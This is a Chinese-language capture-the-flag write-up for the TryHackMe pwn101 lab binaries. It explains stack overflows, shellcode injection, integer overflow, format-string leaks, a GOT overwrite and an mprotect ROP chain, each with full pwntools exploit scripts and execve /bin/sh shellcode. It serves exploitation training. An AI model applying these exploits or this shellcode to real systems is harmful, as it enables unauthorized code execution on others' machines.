tryhackme靶场 pwn101
Sanbora 发表于 湖南 渗透测试 1271浏览 · 2024-05-26 05:52

引言

本文将引导你通过tryhackme平台上的pwn101靶场,深入理解栈溢出、格式化字符串漏洞、整数溢出、shellcode注入等二进制漏洞利用技术。

环境准备

在开始之前,请确保你已经访问tryhackme pwn101靶场并准备好了必要的工具和环境。

栈溢出变量覆盖32

由于此靶场的所有关卡都是基于x64架构的CPU,那么首先了解一下在x64架构下是如何进行参数传递和参数返回的。

栈溢出变量覆盖(32位与64位)

基础知识

  • 介绍x64架构下的参数传递和返回机制。
  • 强调栈溢出漏洞的基本原理。

在x64架构下,C函数的参数传递在汇编中是这样进行的:

注意:汇编本来就是一门非常底层的语言,其移植性相比较C语言几乎来说是没有,所以下面的阐述并不正确,可能同一段代码在同一个电脑同一个系统上,使用不同的编译器编译出来的结果都不同。

  • 在UNIX系统(包括Linux)中,前六个参数会被放入寄存器rdi, rsi, rdx, rcx, r8, 和 r9。
  • 在Windows 64位系统中,前四个参数会被放入寄存器rcx, rdx, r8, 和 r9。
  • 如果参数的数量超过了这些寄存器的数量,那么额外的参数会被放在栈上。

注1

在x86架构中,rsi和esi寄存器不能同时使用。这是因为在64位模式下,rsi寄存器实际上包含了esi寄存器。

也就是说,rsi的低32位就是esi。因此,当你改变esi的值时,rsi的低32位也会跟着改变。同样,当你改变rsi的值时,esi的值也会跟着改变。

所以,在参数传递时,可以第一个使用rdi,第二个参数使用esi

unix系统参数传递与返回

由于函数的返回值会被保存到EAX寄存器中,通常在调用函数前就会将EAX赋值为0.

section .text
global add
add:
    ; prologue
    push rbp
    mov rbp, rsp

    ; add the two arguments together
    mov eax, edi
    add eax, esi

    ; epilogue
    mov rsp, rbp
    pop rbp
    ret

对于浮点数参数,会使用XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 和 XMM7这些寄存器。函数的返回值会被存储在RAX寄存器中。

下载靶场的第一关,使用checksec查看基本信息

Arch: amd64-64-little:这是你的系统架构,表示你的系统是64位的。

RELRO: Full RELRO
这是一个缓冲区溢出攻击防护机制。RELRO全称为Relocation Read-Only,它有两种模式:Partial RELRO和Full RELRO。Full RELRO模式下,程序在运行时会将整个GOT表设置为只读,这样就可以防止攻击者通过覆盖GOT表来执行任意代码。

Stack: No canary found
这表示你的程序没有启用栈保护。栈保护是一种防止栈溢出的技术,它通过在局部变量和返回地址之间放置一个“栈疏散值”来工作。如果局部变量发生溢出,疏散值将被覆盖,在函数返回之前会检查这个值,如果这个值被改变,程序将立即退出,因此可以防止攻击者覆盖返回地址。

NX: NX enabled
这表示你的程序启用了NX(No eXecute)位。NX位可以将内存标记为不可执行,这样就可以防止攻击者在这些内存区域中注入并执行恶意代码。

PIE: PIE enabled
这表示你的程序启用了位置独立可执行(PIE)特性。启用PIE后,程序每次执行时都会被加载到不同的内存地址,这样就增加了攻击者利用程序漏洞的难度。

使用IDA查看C代码,发现整数v5被复制为1337,如果v5为1337则会调用exit函数结束程序,如果不为1337则会调用bash函数,也就是说只需要将v5的值覆盖为不等于1337的任意值,就可以获得shell权限。

发现程序中使用了gets函数,存在栈溢出漏洞。

在查看使用gdb命令查看汇编代码

首先sub rsp,0x40是在为局部变量在栈中分配内存空间,其中v4数组(60字节)+v5整型(4字节)=64字节(0x40)

rbp-0x4是v5变量的首地址,将其复制为0x539(1337),对应v5=1337

在最初看到setup函数调用时,可能会有困惑,为什么没有通过寄存器传递参数。如果仔细分析可以发现,setup传递过去的参数和main函数就收的参数是一样的,而main函数接收了参数后没有进行任何的操作,所以此时不需要对寄存器进行操作了,只需要将eax寄存器赋值为0。

传递给gets的参数为rpb-0x40,也就是说v4数组的首字节为rpb-0x40。

(rpb-0x04)-(rpb-0x40) = (rpb-rpb)-(0x04-0x40) = 0 - (0x04-0x40) = 60

本地构造payload

#!/usr/bin/env python
from pwn import *

sh = process('./pwn101')

#先将60字节用数据填充,然后剩余4字节用一个不为1337(0x539)的4字节数填充
payload = b"A" * 60 + p32(0x0)

sh.sendline(payload)
sh.interactive()

远程连接发送payload

使用tryhackme提供的远程桌面,编写payload

#!/usr/bin/env python
from pwn import *

#sh = process('./pwn101')
sh = remote('ip',port)

#先将60字节用数据填充,然后剩余4字节用一个不为1337(0x539)的4字节数填充
payload = b"A" * 60 + p32(0x0)

sh.sendline(payload)
sh.interactive()

获取到shell权限,cat flag.txt成功拿到flag

栈溢出变量覆盖64

先看文件,64位程序,缓冲区保护开启,栈保护没开启,栈不可执行开启,地址随机化开启

通过IDA查看文件的代码

此时v4数组为104字节,v5变量为64字节。

v5变量为0xBADF00DFEE1DEADLL,如果需要使if判断为假,必须使v5变量为0xC0FF330000C0D3LL

通过gdb查看汇编代码

第一部分给局部变量分配栈空间,104+8=112(0x70)

第二部分给变量v5赋值,由于变量v5占用8字节,但是一次性只能操作4字节,所以必须分两次赋值,使用的是小端(即高位高字节)

第三部部分将v5变量的低32位作为printf第三个参数(edx),将v5变量的高32位作为printf函数的第二个参数(esi)

最开始可能会很懵逼,分析一下v5变量中的内容,和printf参数的内容

v5低32位的内容为,0xfee1dead,对应的printf第三个参数的内容为4276215469LL

v5高32位的内容为,0xbadf00d,对应的printf第二个参数的内容为195948557LL

比较一下,发现他们其实是一样的,这可能是编译器的某种优化吧

第四部分将v4数组首地址作为scanf的第二个参数(rsi),rdi为第一个参数,指向字符串常量首地址

scanf函数也不是二进制的函数,和gets函数的差别也不是特别大,也可以使用栈溢出的方法

构造本地payload

#!/usr/bin/env python
from pwn import *


sh = process('./pwn102')
#sh = host = remote('', , typ='ipv4')

payload = b"A" * 104 + p32(0xc0d3) + p32(0xc0ff33)

sh.sendline(payload)
sh.interactive()

构造远程payload获取flag

#!/usr/bin/env python
from pwn import *


#sh = process('./pwn102')
sh = host = remote('10.10.62.184',9002)

payload = b"A" * 104 + p32(0xc0d3) + p32(0xc0ff33)

sh.sendline(payload)
sh.interactive()

栈溢出覆盖返回地址

IDA查看代码发现,scanf获取一个整形赋值给v5变量,switch根据v5的值进行跳转。

经过寻找发现当v5的值为3时,进入general函数,这个函数中使用了scanf变量读取字符串

存在栈溢出漏洞

经过寻找发现了admins_only函数,该函数中调用了system函数,可以获得shell权限

使用gdb对该函数进行反汇编,需要填充40字节数据后,然后就可以覆盖返回地址了

构造payload

#!/usr/bin/env python
from pwn import *
context.log_level= "debug"

0x00000000004016db : pop rdi ; ret
#0x000000000040328f : /bin/sh


#sh = process('./pwn103')
sh = remote('10.10.27.82',9003)

payload = '3'

sh.sendline(payload)



payload =  b'A' * 40 + p64(0x0000000000401554)

sh.sendline(payload)

sh.interactive()

在本地进行调试,成功获取到shell

远程进行调试发现出现问题

出现了welcome admin表示成功转跳到了admins_only函数,但是输入命令却没有回显

经过查阅文章了解到

在返回到GLIBC函数(如printf()或system())之前,确保栈是16字节对齐的。有些版本的GLIBC在某些函数中使用movaps指令将数据移动到栈上。64位调用约定要求在调用指令之前栈必须是16字节对齐的。movaps在操作未对齐的数据时会触发一般保护错误,所以尝试在返回到函数之前用一个额外的ret来填充你的ROP链。

esp16字节对齐,指的是esp是16的倍数,或者说esp除16的余数为0(可以被16整除)

64位调用约定要求在调用指令之前栈必须是16字节对齐的,指的是在call 目标函数前esp就是16字节对齐,而不是call(执行push指令)后,esp是16字节对齐。

在ROP中指的是, 在ret(pop)前要保证esp是16字节对齐,而不是ret后esp是16字节对齐,所以可以填充来保证esp的16对齐

构造payload

#!/usr/bin/env python
from pwn import *
context.log_level= "debug"

#0x00000000004016db : pop rdi ; ret
#0x000000000040328f : /bin/sh


#sh = process('./pwn103')
sh = remote('10.10.72.113',9003)

payload = '3'

sh.sendline(payload)


ret_addr = p64(p64(0x000000000040158B))

payload =  b'A' * 40 + ret_addr  + p64(0x0000000000401554)

sh.sendline(payload)

sh.interactive()

成功拿到flag

shellcode

使用checkfile命令查看程序基本信息,其中关闭了栈保护栈不可执行

IDA查看代码,发现其从标准输入中读取字符串,虽然进行了限制,但是其限远远大于栈大小,存在栈溢出漏洞

虽然程序每次执行buf数组的地址都不确定,但是这道题目减轻了难度,将buf数组的首地址进行了输出

所以,可以写入shellcode + 剩余字符 + 返回地址覆盖为buf首地址

什么是shellcode

Shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写。它被称为"shell code"是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机。然而,所有执行类似任务的代码片段都可以称作shellcode。

在设备漏洞利用过程中,shellcode被注入到目标程序中从而被执行。它的目的是执行一些程序本身不具备的功能,实现攻击者的攻击目的。因此,shellcode更像是exploit的载荷,往往对于不同漏洞来讲,exploit是特殊的,而shellcode会具有一些通用性。

注意:第三个shellcode不知道为什么无法正常运行(不能获得shell)

shellcode x64 linux

https://www.exploit-db.com/exploits/46907

https://shell-storm.org/shellcode/files/shellcode-806.html

https://packetstormsecurity.com/files/162210/Linux-x64-execve-bin-sh-Shellcode.html

构造payload

from pwn import *

sh = process('./pwn104')
#sh = host = remote('10.10.136.3',9004)
context.log_level = "debug"


#从程序的输出中提取 buf数组首地址
output = sh.recvn(0x197)

output = sh.recvline()
output = int(str(output,"utf8")[0:-1],16)


shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"


payload = shellcode + b"A" * (0x58 - len(shellcode)) + p64(output)

sh.sendline(payload)

sh.interactive()

整数溢出漏洞

首先checkfile查看程序的基本信息,发现其开启了栈溢出保护,随机地址,栈不可执行保护

分析程序,首先从程序中以10进制方式读取两个整数,分别存入变量1和变量2,将变量1和2相加存入变量3。

然后判断两个整数是否为正数,如果两个整数只要有一个不为整数,则会输出[o.O] Hmmm... that 然后退出程序

如果两个整数都是正式,则会检查变量3是否为负数,如果变量3为负数则获取shell,如果变量3不为负数则会退出程序。

综上:要输入两个正数,并且要求这两个正数的相加的计算结果为负数,这就涉及到了整数溢出。

通过分析可以得出,这三个变量占用4个字节,整数溢出

由于最高位表示正数,变量占用4字节,所以输入的第一个参数将最高位设为0,其他位置设为1

第二个参数为1

01111111111111111111111111111111 + 1 = 10000000000000000000000000000000 (负数)

这样就整数溢出,变成了一个负数了。

构造payload

#!/usr/bin/env python
from pwn import *


#sh = process('./pwn105')
sh = host = remote('10.10.251.129',9005)
context.log_level = "debug"


payload = str(0x7fffffff) 

sh.sendline(payload)

payload = str(0x1)

sh.sendline(payload)

sh.interactive()

格式化泄露变量

此题涉及到了格式化字符串,所以现在先来讲讲格式化字符串是什么

格式化字符串是一种特殊的字符串,它包含了文本和格式说明符。格式说明符(如%d,%s,%f等)定义了后续参数的输出格式。

printf函数,如果正确的传递了参数,那么printf函数则会正常的输出

如果printf函数中格式化字符串中需要的参数,大于传递过去的参数,则可能导致格式化字符串泄露寄存器或栈中内容。

如果printf("%x %x %x"),在编译后,在汇编中是将字符串"%x %x %x"首地址赋值给rdi参数,由于只有一个参数,赋值完后就会call调用printf函数,虽然printf调用只传递了一个参数rdi,但是"%x %x %x"意味着会输出第 2,3,4个参数的内容,而这些参数对应着rsi rdx rcx,且没有通过这三个寄存器来传递参数,所以就会泄露rsi rdx rcx寄存器中的内容。

这种情况多发生于,程序员这样编写程序

char s[100];
gets(s); //read(0,s,100)
printf(s);

在printf格式化字符串中可以输出指定的参数

例如printf("%1$d")将以整形的形式打印第一个参数(对应寄存器rsi)

分析代码

这意味着在rbp - 60 到 rbp - 46 存放着字符串THM{XXX[flag_redacted]XXX}

在printf函数中,%1$llx对应printf中的二个参数,rsi,%5$llx对应printf的第六个参数,r9。%6$llx对应栈中的第一个参数,也就是printf函数中的ebp - 8(push ebp) - 8(返回地址),对应main函数中的ebp-60

构造payload

#!/usr/bin/env python
from pwn import *

sh = process('./pwn106')
#sh = host = remote('10.10.234.21',9006)
context.log_level = "debug"


payload = b"%6$llx %7$llx %8$llx %9$llx %10$llx %11$llx "
sh.sendline(payload)

sh.recvn(0x168)

output = sh.recvline()

output = output.split(b' ')

output = output[1:-1]


#"将 a1b2c3 转为 c3b2a1"
def reverse_pairs(s):
    # 将字符串分割成每两个字符一组
    pairs = [s[i:i+2] for i in range(0, len(s), 2)]
    # 反转整个列表并连接成字符串
    return ''.join(pairs[::-1])


#将 bytes 转为 str 并 反转
i = 0
for tmp in output:
    tmp = str(tmp,encoding = "utf-8")
    tmp = reverse_pairs(tmp)
    output[i] = tmp
    i = i + 1

#合并字符串
s = ""
for tmp in output:
    s += tmp

#将字符串转为数值,再转为对于的ascii
def hex_to_str(hex_str):
    # 将16进制字符串分割成每两个字符一组
    hex_pairs = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
    # 将每个16进制对转换为整数,然后转换为对应的字符
    chars = [chr(int(pair, 16)) for pair in hex_pairs]
    # 将字符列表连接成字符串
    return ''.join(chars)

print(hex_to_str(s))

sh.interactive()

格式化字符串绕过栈保护和地址随机化

格式化字符串绕过栈保护和程序地址随机化

栈保护(canary):栈溢出是由于程序未对用户输入的内容长度进行检查,超出了栈中可以可以容纳的范围,而覆盖了栈中其他的内容(例如:rbp、返回地址等),从而达到劫持控制流的目的。

栈保护是在rbp、返回地址前插入一个(Cookie),当函数要返回前会验证 cookie 信息是否被改变,如果不合法就调用__stack_chk_fail函数,不在按照原来的步骤进行返回。

由于cookie在rbp、返回地址前面,所以要覆盖rbp和返回地址就必须先覆盖cookie,一旦cookie被改变了就说明存在栈溢出攻击,从而达到栈溢出保护的目的。

如何绕过栈保护,由于cookie是存在栈上的内容,如果程序存在格式化字符串,则可以先泄露cookie内容,在覆盖时在cookie内存部分,填充cookie的原有内容。

程序地址随机化,程序的地址在静态中是固定的,基址为:0x0 函数csu_init的地址为0xa90,函数对于基址的偏移量为:0xa90 - 0x0 = 0xa90 (函数地址 - 基址 = 偏移量)。假设函数csu_init在动态地址中为:0x0000555555554a90,那么 0x0000555555554a90 - 0xa90 = 0x0000555555554000(函数地址 - 偏移量 = 基址),动态基址为:0x0000555555554000。

获得了动态基址,就可以根据函数的偏移量来计算机指定函数在本地运行中地址(函数的偏移量是在程序链接完成后就固定不变的)。例如函数get_streak静态地址为0x0000094c,那么偏移量为0x0000094c - 0x0 = 0x94c。假设本次运行中动态基址为,0x0000555555554000,那么get_streak在本次运行中的地址为:0x0000555555554000 + 0x94c = 0x000055555555494c

分析程序:

可以看到cookie被存放到了rbp-0x8中。

要泄露程序运行过程中任意一个函数的地址,该函数必须在本程序中,不能是动态链接库中的程序,也就是地址范围必须在

运行到printf打印到格式化字符串的前一刻,查看寄存器rsp中的内容。

栈中内容,蓝色标识的0x4141414141414141是输入的字符A对应的ascii码,红色内容标识的地址在程序地址的范围中。

查看该地址内容是什么,发现这个地址是一个函数地址。就是需要找的地址。

对于printf来说,其栈中第一个参数的地址,是main函数中rsp的地址,第二个参数的地址是esp+0x8。

在main函数esp中,0x555555554a90地址存放在esp+0x20中,那么对应printf中栈的第(0x20 ÷ 0x8 = 4) + 1个参数。

printf栈中第一个参数表示为%6$llx,第5个参数表示为%10$llx。

cookie在栈中是rbp - 0x8,对应的是esp - 0x38,对应printf中的第(0x38 ÷ 8 = 7)+1个参数,表示为%13$llx

通过分析发现:

程序首先从标准输入中读取字符串,然后使用printf函数输出,存在格式化字符串漏洞,限制读取字符数小于数组长度,不存在栈溢出漏洞。

然后程序又从标准输入中读取字符,虽然进行了字符数限制,但是限制的字符数大于数组长度,存在栈溢出漏洞

构造payload

程序第一次读取时,提供字符串"%10$llx $13$llx",然后程序会回显csu_init函数地址 和 cookie内容。

通过csu_init地址,计算出基址,在计算出get_streak函数地址,和ret函数地址。

#!/usr/bin/env python
from pwn import *

#sh = process('./pwn107')
sh = host = remote('10.10.10.218',9007)
context.log_level = "debug"

output = sh.recvn(0x1ef)


#获取函数地址和cookie
payload = "%10$llx %13$llx"
sh.sendline(payload)

output = sh.recvn(0x2e)
output = sh.recvline()
sh.recv()

output = output[0:-1]
output = str(output,encoding = "utf-8")
output = output.split(' ')


#将cookie转为16进制
cookie = int(output[1],16)

#计算基址
dynamic = int(output[0],16) - 0xa90
#计算get_strak函数地址
get_streak = dynamic + 0x94c

#计算ret命令地址   栈对齐问题
ret_addr = dynamic + 0x00000000000006fe

#构造payload
payload = b"A" * 0x18 + p64(cookie) + b"A" * 0x8 + p64(get_streak)


sh.sendline(payload)

sh.interactive()

格式化字符串覆盖got表

格式化字符串泄露覆盖got表

在分析程序前首先要介绍一下printf格式化字符串中的两个操作

%n,将该printf函数截止到目前为止输出的字符数保存到参数中指定的地址中去

#include <stdio.h>

int main(void){

    int n;
    //Hello是5个字节,所以%n会将5复制到变量n中,注意这里的n必须使用取地址符
    printf("Hello%n\n",&n);
    printf("n:%d\n",n);

    return 0;

}

%100X宽度说明符

#include <stdio.h>

int main(void){

    int a=10,n=0;
    //%100d表示打印a中的值,如果打印的字符个数不足100字符,则在左侧打印空格,直到满足100个字符
    //由于前面打印了100个字符串,则n被复制为100
    printf("%100d%n\n",a,&n);
    printf("n:%d\n",n);

    return 0;

}

所以如果程序中出现格式化字符串漏洞,则可以使用以上的方法覆盖一个函数的got表,将其地址改变为想要调用函数的地址,这样就可以控制程序。

分析程序

got表有写入权限,没有开启地址随机化

第一部分从标准输入中读取0x12字符,但是没有格式化字符串漏洞,所以可以直接填充

第二部分从标准输入中读取0x65字符,存在格式化字符串漏洞

通过查找发现有一个函数调用了system,所以需要在got表中的一个函数的地址修改为holidays函数的地址,该got表中的函数必须在主函数剩下的代码中被调用,但不能在holidays函数中被调用

通过分析发现,puts和printf函数在main函数中剩下的代码部分被调用,但是printf函数在holidays中也被调用,所以只能修改got表中puts函数的地址

通过查找发现,got表中puts函数对应的地址为0x40418,需要将0x40418地址的内容修改为holidays函数的入口地址0x0040123b

构造完整payload

#!/usr/bin/env python
from pwn import *

sh = process('./pwn108')
#sh = host = remote('10.10.10.218',9007)
context.log_level = "debug"


payload = b"A" * 0x12

sh.send(payload)

#如果一次性写入0x0040123b,则需要消耗4MB字节,所以分多次写入
#0x0040123b

#第一次写入最高位0x40 对应 64
# 40 = 64 = 64 - 0 = 64

#第二次写入123b 对应 4667 但是之前以及打印了64字符,也会计算在里面,所以要减去64,最后为4603
# 123b = 4667 = 4667 - 64 = 4603


payload = b"%64X%13$n" + b"%4603X%14$hnAAA" +  p64(0x404018 + 2) + p64(0x404018)

sh.send(payload)

sh.interactive()

mprotect使堆栈可执行

函数原型

int mprotect(void *addr, size_t len, int prot);

mprotect()是C语言中的一个系统调用,用于改变进程内存页的访问保护。这些内存页包含了地址范围在区间[addr, addr+len-1]内的任何部分。addr必须对齐到页边界。

prot是以下访问标志的组合:

  • PROT_NONE:内存不能被访问。
  • PROT_READ:内存可以被读取。
  • PROT_WRITE:内存可以被修改。
  • PROT_EXEC:内存可以被执行。

场景一:程序关闭了栈保护、地址随机化、使用静态编译,不动态连接glibc,没有system函数和"/bin/sh"字符串,开启了堆栈不可执行。

注意:由于使静态编译,所以所有用到的函数例如puts、gets、mprotect函数都在可执行文件中。

程序使用gets函数,存在栈溢出漏洞

首先找到stack栈地址存放的位置,使用puts打印改地址中的值

puts函数地址

x64中前6参数使用寄存器传递,所以还需要pop_rdi

泄露stack地址后返回main函数

payload

#!/usr/bin/env python
from pwn import *


sh = process('./pwn110')
#sh = remote('10.10.130.62',9010)
context.log_level = "debug"

#让没用的东西没有
sh.recvuntil(b"libc")
sh.recvuntil(b"\n")

stack_end_addr = p64(0x004bfa70)
put_addr = p64(0x00411bd0)
pop_rdi = p64(0x000000000040191a)


main_addr = p64(0x00401e61)

payload = b"A" * 0x28
payload += pop_rdi + stack_end_addr + put_addr + main_addr

sh.sendline(payload)

stack_addr = u64(sh.recvline().split(b'\n')[0].ljust(8,b"\x00"))

stack_page = p64(stack_addr & 0xFFFFFFFFFFFFF000)

print(hex(stack_addr),hex(u64(stack_page)))


sh.interactive()

泄露地址后又回到main函数

回到mian函数后调用mprotect函数

mprotect地址

由于mprotect需要三个参数,所以在获取pop rsi 、 pop rdx地址

shellcode

b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

mprotect执行完毕后跳转到栈中的shellcode中去执行

完整payload

#!/usr/bin/env python
from pwn import *


sh = process('./pwn110')
#sh = remote('10.10.130.62',9010)
context.log_level = "debug"




pop_rdi = p64(0x000000000040191a)
pop_rsi = p64(0x000000000040f4de)
pop_rdx = p64(0x000000000040181f)
ret_addr = p64(0x000000000040101a)
jmp_rsp = p64(0x0000000000463c43)

mprotect_addr = p64(0x00449b70)

stack_end_addr = p64(0x004bfa70)
put_addr = p64(0x00411bd0)
main_addr = p64(0x00401e61)


sh.recvuntil(b"libc")
sh.recvuntil(b"\n")

payload = b"A" * 0x28

payload += pop_rdi + stack_end_addr + put_addr + main_addr

sh.sendline(payload)

stack_addr = u64(sh.recvline().split(b'\n')[0].ljust(8,b"\x00"))

stack_page = p64(stack_addr & 0xFFFFFFFFFFFFF000)

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

payload = b"A" * 0x28
payload += ret_addr + pop_rdi + stack_page + pop_rsi + p64(0x1000) + pop_rdx + p64(0x7) + mprotect_addr + jmp_rsp + shellcode

sh.sendline(payload)

sh.interactive()

成功获取到shell权限

0 条评论
某人
表情
可输入 255